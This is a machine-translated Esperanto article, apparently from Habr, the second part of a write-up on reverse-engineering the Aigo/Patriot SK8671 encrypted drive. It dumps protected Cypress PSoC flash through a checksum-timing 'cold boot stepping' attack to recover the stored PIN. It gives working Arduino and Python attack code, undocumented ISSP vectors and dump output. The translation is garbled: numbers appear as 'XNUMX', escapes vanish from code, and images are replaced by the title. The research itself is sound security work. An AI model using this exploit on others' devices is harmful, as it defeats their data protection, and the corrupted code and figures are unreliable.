Inversigi kaj haki Aigo mem-ĉifradan eksteran HDD-diskon. Parto 2: Prenante rubejon de Cypress PSoC

Ĉi tiu estas la dua kaj fina parto de la artikolo pri hakado de eksteraj mem-ĉifradaj diskoj. Mi memorigu al vi, ke lastatempe kolego alportis al mi malmolan diskon Patriot (Aigo) SK8671, kaj mi decidis renversi ĝin, kaj nun mi dividas tion, kio eliris el ĝi. Antaŭ ol legi plu, nepre legu unua parto artikoloj.

4. Ni komencas preni rubejon de la interna PSoC-ekbrilo
5. ISSP-protokolo
– 5.1. Kio estas ISSP
– 5.2. Senmistifikaj Vektoroj
– 5.3. Komunikado kun PSoC
– 5.4. Identigo de sur-blataj registroj
– 5.5. Sekurecaj pecoj
6. Unua (malsukcesa) atako: ROMX
7. Dua Atako: Malvarma Bota Spurado
– 7.1. Efektivigo
– 7.2. Legante la rezulton
– 7.3. Ekbrila binara rekonstruo
– 7.4. Trovi la PIN-kodan stokan adreson
– 7.5. Prenante rubejon de bloko n-ro 126
– 7.6. PIN-kodo reakiro
8. Kio sekvas?
9. Konkludo

Inversigi kaj haki Aigo mem-ĉifradan eksteran HDD-diskon. Parto 2: Prenante rubejon de Cypress PSoC


4. Ni komencas preni rubejon de la interna PSoC-ekbrilo

Do, ĉio indikas (kiel ni establis en [la unua parto]()), ke la PIN-kodo estas konservita en la fulmaj profundoj de la PSoC. Tial ni devas legi ĉi tiujn fulmajn profundojn. Fronto de necesa laboro:

  • preni kontrolon de "komunikado" kun la mikroregilo;
  • trovi manieron kontroli, ĉu ĉi tiu "komunikado" estas protektita kontraŭ legado de ekstere;
  • trovi manieron preteriri la protekton.

Estas du lokoj, kie estas senco serĉi validan PIN-kodon:

  • interna fulmmemoro;
  • SRAM, kie la pinkodo povas esti stokita por kompari ĝin kun la pinkodo enigita de la uzanto.

Rigardante antaŭen, mi rimarkos, ke mi ankoraŭ sukcesis forĵeti la internan PSoC-memordisko - preterpasante ĝian sekurecan sistemon per aparatara atako nomata "malvarma boto-spurado" - post renversado de la nedokumentitaj kapabloj de la ISSP-protokolo. Ĉi tio permesis al mi rekte forĵeti la realan PIN-kodon.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Fina programkodo:

5. ISSP-protokolo

5.1. Kio estas ISSP

"Komunikado" kun mikroregilo povas signifi malsamajn aferojn: de "vendisto al vendisto" ĝis interagado uzante serian protokolon (ekzemple, ICSP por la PIC de Microchip).

Cipreso havas sian propran propran protokolon por tio, nomita ISSP (en-sistema seria programado protokolo), kiu estas parte priskribita en teknika specifo. Patento US7185162 ankaŭ donas kelkajn informojn. Ekzistas ankaŭ OpenSource ekvivalento nomita HSSP (ni uzos ĝin iom poste). ISSP funkcias jene:

  • rekomencu PSoC;
  • eligu la magian nombron al la seria datuma pinglo de ĉi tiu PSoC; eniri eksteran programan reĝimon;
  • sendu komandojn, kiuj estas longaj bitaj ĉenoj nomataj "vektoroj".

La ISSP-dokumentado difinas ĉi tiujn vektorojn por nur malgranda manpleno da komandoj:

  • Inicialigu-1
  • Inicialigu-2
  • Inicialigu-3 (3V kaj 5V opcioj)
  • ID-AJRO
  • LEGI-ID-VORTO
  • SET-BLOCK-NUM: 10011111010dddddddd111, kie dddddddd=bloko #
  • POCA FORIGO
  • PROGRAMA-BLOKO
  • KONTROLU-ARGO
  • LEGI-BAJTON: 10110aaaaaaZDDDDDDDDZ1, kie DDDDDDDD = datumoj ekstere, aaaaaa = adreso (6 bitoj)
  • WRITE-BYTE: 10010aaaaaadddddd111, kie dddddddd = datumoj en, aaaaaa = adreso (6 bitoj)
  • Sekure
  • ĈEKSUMO-ARGO
  • LEGI-SUMO: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kie DDDDDDDDDDDDDDDD = datumoj eksteren: aparatkontrolo
  • FORIGI BLOKO

Ekzemple, la vektoro por Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Ĉiuj vektoroj havas la saman longon: 22 bitoj. La HSSP-dokumentado havas kelkajn pliajn informojn pri ISSP: "ISP-vektoro estas nenio pli ol bita sekvenco, kiu reprezentas aron da instrukcioj."

5.2. Senmistifikaj Vektoroj

Ni eltrovu, kio okazas ĉi tie. Komence, mi supozis, ke ĉi tiuj samaj vektoroj estis krudaj versioj de instrukcioj de M8C, sed post kontrolo de ĉi tiu hipotezo, mi malkovris, ke la opkodoj de la operacioj ne kongruas.

Tiam mi guglis la vektoron supre kaj trovis ĉi tio studo, kie la aŭtoro, kvankam li ne eniras en detalojn, donas kelkajn utilajn konsiletojn: “Ĉiu instrukcio komenciĝas per tri bitoj, kiuj respondas al unu el kvar mnemonikoj (legi el RAM, skribi al RAM, legi registron, skribi registron). Poste estas 8 adresbitoj, sekvataj de 8 datumbitoj (legi aŭ skribu) kaj finfine tri haltbitoj."

Poste mi povis kolekti tre utilajn informojn el la sekcio de Supervisory ROM (SROM). teknika manlibro. SROM estas malmola kodita ROM en la PSoC kiu disponigas utilecfunkciojn (en simila maniero al Syscall) por programkodo funkcianta en uzantspaco:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: SkribuBlokon
  • 03h: EraseBlock
  • 06h: TabloLegado
  • 07h: Kontrolsumo
  • 08h: Kalibre 0
  • 09h: Kalibre 1

Komparante vektornomojn al SROM-funkcioj, ni povas mapi la diversajn operaciojn subtenatajn de ĉi tiu protokolo al la atendataj SROM-parametroj. Dank'al ĉi tio, ni povas deĉifri la unuajn tri bitojn de ISSP-vektoroj:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Tamen, kompleta kompreno de sur-blataj procezoj nur povas esti akirita per rekta komunikado kun la PSoC.

5.3. Komunikado kun PSoC

Ĉar Dirk Petrautsky jam havas portita La HSSP-kodo de Cypress sur Arduino, mi uzis Arduino Uno por konekti al la ISSP-konektilo de la klavara tabulo.

Bonvolu noti, ke dum mia esplorado mi sufiĉe ŝanĝis la kodon de Dirk. Vi povas trovi mian modifon ĉe GitHub: tie kaj la responda Python-skripto por komuniki kun Arduino, en mia deponejo cypress_psoc_tools.

Do, uzante Arduino, mi unue uzis nur la "oficialajn" vektorojn por "komunikado". Mi provis legi la internan ROM per la komando VERIFY. Kiel atendite, mi ne povis fari ĉi tion. Verŝajne pro la fakto, ke legprotektaj bitoj estas aktivigitaj ene de la flash drive.

Poste mi kreis kelkajn proprajn simplajn vektorojn por skribi kaj legi memoron/registrojn. Bonvolu noti, ke ni povas legi la tutan SROM kvankam la flash drive estas protektita!

5.4. Identigo de sur-blataj registroj

Post rigardado de la "malmuntitaj" vektoroj, mi malkovris, ke la aparato uzas nedokumentitajn registrojn (0xF8-0xFA) por specifi M8C-opkodojn, kiuj estas ekzekutitaj rekte, preterirante la protekton. Ĉi tio permesis al mi ruli diversajn opkodojn kiel "ADD", "MOV A, X", "PUSH" aŭ "JMP". Dank' al ili (rigardante la kromefikojn, kiujn ili havas sur registroj) mi povis determini, kiuj el la nedokumentitaj registroj estis efektive regulaj registroj (A, X, SP kaj PC).

Kiel rezulto, la "malmuntita" kodo generita de la ilo HSSP_disas.rb aspektas tiel (mi aldonis komentojn por klareco):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Sekurecaj pecoj

En ĉi tiu etapo mi jam povas komuniki kun la PSoC, sed mi ankoraŭ ne havas fidindajn informojn pri la sekurecaj pecoj de la flash drive. Mi estis tre surprizita de la fakto, ke Cypress ne provizas la uzanton de la aparato per ajnaj rimedoj por kontroli ĉu la protekto estas aktivigita. Mi fosis pli profunde en Guglon por finfine kompreni, ke la HSSP-kodo provizita de Cypress estis ĝisdatigita post kiam Dirk publikigis sian modifon. Kaj tiel! Ĉi tiu nova vektoro aperis:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Uzante ĉi tiun vektoron (vidu read_security_data en psoc.py), ni ricevas ĉiujn sekurecajn bitojn en SRAM ĉe 0x80, kie estas du bitoj per protektita bloko.

La rezulto estas malĝojiga: ĉio estas protektita en la "malŝalti eksteran legadon kaj skribadon". Tial, ni ne nur povas legi ion ajn el poŝmemoro, sed ankaŭ ni povas skribi ion ajn (ekzemple, instali ROM-dumpilon tie). Kaj la sola maniero malŝalti la protekton estas tute forviŝi la tutan blaton. 🙁

6. Unua (malsukcesa) atako: ROMX

Tamen, ni povas provi la sekvan lertaĵon: ĉar ni havas la kapablon ekzekuti arbitrajn opkodojn, kial ne ekzekuti ROMX, kiu estas uzata por legi fulmmemoron? Ĉi tiu aliro havas bonan ŝancon de sukceso. Ĉar la ReadBlock-funkcio kiu legas datumojn de la SROM (kiu estas uzata de vektoroj) kontrolas ĉu ĝi estas vokita de la ISSP. Tamen, la opkodo ROMX eble ne havas tian kontrolon. Do jen la Python-kodo (post aldoni kelkajn helpajn klasojn al la Arduino-kodo):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Bedaŭrinde ĉi tiu kodo ne funkcias. 🙁 Aŭ prefere ĝi funkcias, sed ni ricevas niajn proprajn opkodojn ĉe la eligo (0x28 0x30 0x40)! Mi ne pensas, ke la responda funkcieco de la aparato estas elemento de legoprotekto. Ĉi tio pli similas al inĝenieristiko: kiam oni efektivigas eksterajn opkodojn, la ROM-buso estas redirektita al provizora bufro.

7. Dua Atako: Malvarma Bota Spurado

Ĉar la lertaĵo ROMX ne funkciis, mi ekpensis pri alia variaĵo de ĉi tiu lertaĵo - priskribita en la eldonaĵo. "Verŝante tro da Lumo sur Firmware-Protekto de Mikroregilo".

7.1. Efektivigo

La ISSP-dokumentado disponigas la sekvan vektoron por CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ĉi tio esence nomas SROM-funkcion 0x07, kiel prezentite en la dokumentaro (kursivo mia):

Ĉi tiu funkcio ĉeksumkontrolo. Ĝi kalkulas 16-bitan ĉeksumon de la nombro da uzant-specifitaj blokoj en unu fulmbanko, komencante de nulo. La parametro BLOCKID estas uzata por pasigi la nombron da blokoj, kiuj estos uzataj kiam oni kalkulas la ĉeksumon. Valoro de "1" nur komputos la kontrolsumon por bloko nul; dum "0" kaŭzos la totalan ĉeksumon de ĉiuj 256 blokoj de la fulma banko esti kalkulita. La 16-bita ĉeksumo estas resendita per KEY1 kaj KEY2. La KEY1-parametro stokas la malalt-ordajn 8 bitojn de la ĉeksumo, kaj la KEY2-parametro stokas la alt-ordajn 8 bitojn. Por aparatoj kun pluraj fulmaj bankoj, la ĉeksumfunkcio estas vokita por ĉiu aparte. La banknumero kun kiu ĝi funkcios estas fiksita de la registro FLS_PR1 (per fikso de la bito en ĝi responda al la cela fulmbanko).

Notu, ke tio estas simpla ĉeksumo: la bajtoj estas simple aldonitaj unu post la alia; neniuj fantazaj CRC-ekstraĵoj. Krome, sciante, ke la M8C-kerno havas tre malgrandan aron da registroj, mi supozis, ke kiam oni kalkulas la ĉeksumon, mezaj valoroj estos registritaj en la samaj variabloj, kiuj finfine iros al la eligo: KEY1 (0xF8) / KEY2 ( 0xF9).

Do teorie mia atako aspektas jene:

  1. Ni konektas per ISSP.
  2. Ni komencas la kalkulsumon uzante la vektoron CHECKSUM-SETUP.
  3. Ni rekomencas la procesoron post difinita tempo T.
  4. Ni legas RAM por akiri la nunan ĉeksumon C.
  5. Ripetu la paŝojn 3 kaj 4, pliigante T iomete ĉiufoje.
  6. Ni reakiras datumojn de poŝmemoro subtrahante la antaŭan kontrolsumon C de la nuna.

Tamen, estas problemo: la Initialize-1-vektoro, kiun ni devas sendi post rekomenco, anstataŭigas KEY1 kaj KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ĉi tiu kodo anstataŭigas nian altvaloran ĉeksumon nomante Calibrate1 (SROM-funkcio 9)... Eble ni povas simple sendi la magian nombron (de la komenco de la supra kodo) por eniri programan reĝimon, kaj poste legi la SRAM? Kaj jes, ĝi funkcias! La Arduino-kodo, kiu efektivigas ĉi tiun atakon, estas sufiĉe simpla:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Legu checkum_delay.
  2. Rulu ĉeksumkalkulon (send_checksum_v).
  3. Atendu difinitan tempon; konsiderante la sekvajn malfacilaĵojn:
    • Mi perdis multan tempon ĝis mi eksciis, kio rezultas prokrastoMikrosekundoj funkcias ĝuste nur kun prokrastoj ne superantaj 16383 μs;
    • kaj poste denove mortigis la saman tempon ĝis mi malkovris, ke prokrastoMikrosekundoj, se 0 estas transdonita al ĝi kiel enigo, funkcias tute malĝuste!
  4. Rekomencu la PSoC en programan reĝimon (ni nur sendas la magian nombron, sen sendi inicialigvektorojn).

Fina kodo en Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Resume, kion faras ĉi tiu kodo:

  1. Rekomencas la PSoC (kaj sendas al ĝi magian numeron).
  2. Sendas plenajn komencajn vektorojn.
  3. Nomas la Arduino-funkcion Cmnd_STK_START_CSUM (0x85), kie la prokrasto en mikrosekundoj estas pasita kiel parametro.
  4. Legas la ĉeksumon (0xF8 kaj 0xF9) kaj la nedokumentitan registron 0xF1.

Ĉi tiu kodo estas ekzekutita 10 fojojn en 1 mikrosekundo. 0xF1 estas inkluzivita ĉi tie ĉar ĝi estis la nura registro kiu ŝanĝiĝis dum kalkulado de la ĉeksumo. Eble ĝi estas ia provizora variablo uzata de la aritmetika logika unuo. Notu la malbelan hakon, kiun mi uzas por restarigi la Arduino per picocom kiam la Arduino ĉesas montri signojn de vivo (neniu ideo kial).

7.2. Legante la rezulton

La rezulto de la Python-skripto aspektas jene (simpligita por legebleco):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Dirite, ni havas problemon: ĉar ni funkcias kun reala ĉeksumo, nula bajto ne ŝanĝas la valoron legitan. Tamen, ĉar la tuta kalkulprocedo (8192 bajtoj) daŭras 0,1478 sekundojn (kun etaj varioj ĉiufoje kiam ĝi estas rulita), kio egalas al proksimume 18,04 μs per bajto, ni povas uzi ĉi tiun tempon por kontroli la kontrolsuman valoron en taŭgaj tempoj. Por la unuaj kuroj, ĉio estas sufiĉe facile legita, ĉar la daŭro de la komputa proceduro estas ĉiam preskaŭ sama. Tamen, la fino de ĉi tiu rubejo estas malpli preciza ĉar la "negravaj tempaj devioj" dum ĉiu kuro sumiĝas por iĝi signifaj:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Tio estas 10 rubejoj por ĉiu mikrosekunda prokrasto. La totala funkciada tempo por forĵeti ĉiujn 8192 bajtojn de poŝmemoro estas proksimume 48 horoj.

7.3. Ekbrila binara rekonstruo

Mi ankoraŭ ne finis skribi la kodon, kiu tute rekonstruos la programkodon de la poŝmemoro, konsiderante ĉiujn tempajn deviojn. Tamen mi jam restarigis la komencon de ĉi tiu kodo. Por certigi, ke mi faris ĝin ĝuste, mi malmuntis ĝin uzante m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Aspektas sufiĉe kredeble!

7.4. Trovi la PIN-kodan stokan adreson

Nun kiam ni povas legi la ĉeksumon je la tempoj, kiujn ni bezonas, ni povas facile kontroli kiel kaj kie ĝi ŝanĝiĝas kiam ni:

  • enigu la malĝustan PIN-kodon;
  • ŝanĝi la pin-kodon.

Unue, por trovi la proksimuman stokan adreson, mi prenis kontrolsuman rubejon en 10 ms-pliigoj post rekomenco. Poste mi enigis la malĝustan PIN kaj faris la samon.

La rezulto ne estis tre agrabla, ĉar estis multaj ŝanĝoj. Sed finfine mi povis determini, ke la ĉeksumo ŝanĝiĝis ie inter 120000 140000 µs kaj 0 XNUMX µs de prokrasto. Sed la "pinkodo", kiun mi montris tie, estis tute malĝusta - pro artefakto de la proceduro delayMicroseconds, kiu faras strangajn aferojn kiam XNUMX estas transdonita al ĝi.

Poste, post pasigi preskaŭ 3 horojn, mi memoris, ke la SROM-sistemvoko CheckSum ricevas argumenton kiel enigaĵon, kiu specifas la nombron da blokoj por la ĉeksumo! Tio. ni povas facile lokalizi la stokan adreson de la PIN-kodo kaj la nombrilo de "malĝustaj provoj", kun precizeco de ĝis 64-bajta bloko.

Miaj komencaj kuroj produktis la sekvan rezulton:

Inversigi kaj haki Aigo mem-ĉifradan eksteran HDD-diskon. Parto 2: Prenante rubejon de Cypress PSoC

Poste mi ŝanĝis la PIN-kodon de "123456" al "1234567" kaj ricevis:

Inversigi kaj haki Aigo mem-ĉifradan eksteran HDD-diskon. Parto 2: Prenante rubejon de Cypress PSoC

Tiel, la PIN-kodo kaj la nombrilo de malĝustaj provoj ŝajnas esti konservitaj en bloko n-ro 126.

7.5. Prenante rubejon de bloko n-ro 126

Bloko #126 devus situi ie ĉirkaŭ 125x64x18 = 144000μs, de la komenco de la ĉeksumkalkulo, en mia plena rubejo, kaj ĝi aspektas sufiĉe kredinda. Tiam, post mane kribrinte multajn malvalidajn rubejojn (pro la amasiĝo de "negravaj tempodevioj"), mi finis akiri ĉi tiujn bajtojn (kun latenco de 145527 μs):

Inversigi kaj haki Aigo mem-ĉifradan eksteran HDD-diskon. Parto 2: Prenante rubejon de Cypress PSoC

Estas sufiĉe evidente, ke la PIN-kodo estas konservita en neĉifrita formo! Ĉi tiuj valoroj, kompreneble, ne estas skribitaj en ASCII-kodoj, sed kiel rezultas, ili reflektas la valorojn prenitajn de la kapacita klavaro.

Fine, mi faris kelkajn pliajn provojn por trovi kie la malbona provo-kalkulilo estis konservita. Jen la rezulto:

Inversigi kaj haki Aigo mem-ĉifradan eksteran HDD-diskon. Parto 2: Prenante rubejon de Cypress PSoC

0xFF - signifas "15 provoj" kaj ĝi malpliiĝas kun ĉiu malsukcesa provo.

7.6. PIN-kodo reakiro

Jen mia malbela kodo, kiu kunigas la supre:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Jen la rezulto de ĝia ekzekuto:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hura! Verkoj!

Bonvolu noti, ke la latenciaj valoroj, kiujn mi uzis, verŝajne rilatas al unu specifa PSoC - tiu, kiun mi uzis.

8. Kio sekvas?

Do, ni resumu flanke de PSoC, en la kunteksto de nia Aigo-veturado:

  • ni povas legi SRAM eĉ se ĝi estas legita protektita;
  • Ni povas preterpasi la kontraŭ-glitan protekton uzante malvarman lanĉan spuran atakon kaj rekte legante la PIN-kodon.

Tamen, nia atako havas iujn difektojn pro problemoj de sinkronigado. Ĝi povus esti plibonigita jene:

  • skribi ilon por ĝuste malkodi la eligajn datumojn, kiuj estas akiritaj kiel rezulto de atako de "malvarma boto-spuro";
  • uzu FPGA-aparaton por krei pli precizajn tempoprokrastojn (aŭ uzu Arduino-aparatajn tempigilojn);
  • provu alian atakon: enigu intence malĝustan PIN-kodon, rekomencu kaj forĵetu RAM, esperante, ke la ĝusta PIN-kodo estos konservita en RAM por komparo. Tamen, ĉi tio ne estas tiel facila por fari sur Arduino, ĉar la Arduino-signala nivelo estas 5 voltoj, dum la tabulo, kiun ni ekzamenas, funkcias kun 3,3 voltaj signaloj.

Unu interesa afero, kiu povus esti provita, estas ludi kun la tensionivelo por preteriri la legan protekton. Se ĉi tiu aliro funkcius, ni povus akiri absolute precizajn datumojn de la poŝmemoro - anstataŭ fidi je legado de kontrolsumo kun neprecizaj tempaj prokrastoj.

Ĉar la SROM verŝajne legas la gardajn bitojn per la sistemvoko ReadBlock, ni povus fari la samon kiel priskribis en la blogo de Dmitrij Nedospasov - reefektivigo de la atako de Chris Gerlinski, anoncita en la konferenco "REcon Bruselo 2017".

Alia amuza afero, kiu povus esti farita, estas mueli la kazon de la blato: preni SRAM-ruĝejon, identigi nedokumentitajn sistemajn vokojn kaj vundeblecojn.

9. Konkludo

Do, la protekto de ĉi tiu disko lasas multon por deziri, ĉar ĝi uzas regulan (ne “harditan”) mikroregilon por konservi la PIN-kodon... Plie, mi ne rigardis (ankoraŭ) kiel la aferoj iras kun datumoj. ĉifrado sur ĉi tiu aparato!

Kion vi povas rekomendi por Aigo? Post analizo de kelkaj modeloj de ĉifritaj HDD-diskoj, en 2015 mi faris prezento sur SyScan, en kiu li ekzamenis la sekurecproblemojn de pluraj eksteraj HDD-diskoj, kaj faris rekomendojn pri kio povus esti plibonigita en ili. 🙂

Mi pasigis du semajnfinojn kaj plurajn vesperojn por fari ĉi tiun esploron. Entute ĉirkaŭ 40 horoj. Kalkulado de la komenco (kiam mi malfermis la diskon) ĝis la fino (PIN-kodo-dump). La samaj 40 horoj inkluzivas la tempon, kiun mi pasigis skribante ĉi tiun artikolon. Estis tre ekscita vojaĝo.

fonto: www.habr.com

Aldoni komenton